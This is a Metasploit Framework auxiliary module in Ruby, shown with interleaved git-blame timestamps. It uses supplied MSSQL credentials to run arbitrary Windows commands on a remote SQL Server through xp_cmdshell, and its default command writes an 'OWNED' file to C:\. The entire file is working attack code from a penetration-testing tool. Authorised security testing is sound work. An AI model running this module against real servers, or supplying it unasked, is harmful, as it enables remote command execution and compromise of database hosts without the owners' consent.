2009-01-12 05:18:05 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-01-12 05:18:05 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2009-01-12 05:18:05 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2009-10-13 22:24:47 +00:00
|
|
|
'Name' => 'Microsoft SQL Server xp_cmdshell Command Execution',
|
2009-01-12 05:18:05 +00:00
|
|
|
'Description' => %q{
|
2009-10-13 22:24:47 +00:00
|
|
|
This module will execute a Windows command on a MSSQL/MSDE instance
|
|
|
|
via the xp_cmdshell procedure. A valid username and password is required
|
|
|
|
to use this module
|
2009-01-12 05:18:05 +00:00
|
|
|
},
|
2009-10-15 12:29:07 +00:00
|
|
|
'Author' => [ 'tebo <tebo[at]attackresearch.com>' ],
|
2009-01-12 05:18:05 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
|
2009-10-13 22:24:47 +00:00
|
|
|
]
|
|
|
|
))
|
2009-01-12 05:18:05 +00:00
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
register_options( [
|
|
|
|
OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),
|
|
|
|
], self.class)
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2009-10-18 20:58:01 +00:00
|
|
|
mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
|
|
|
end
|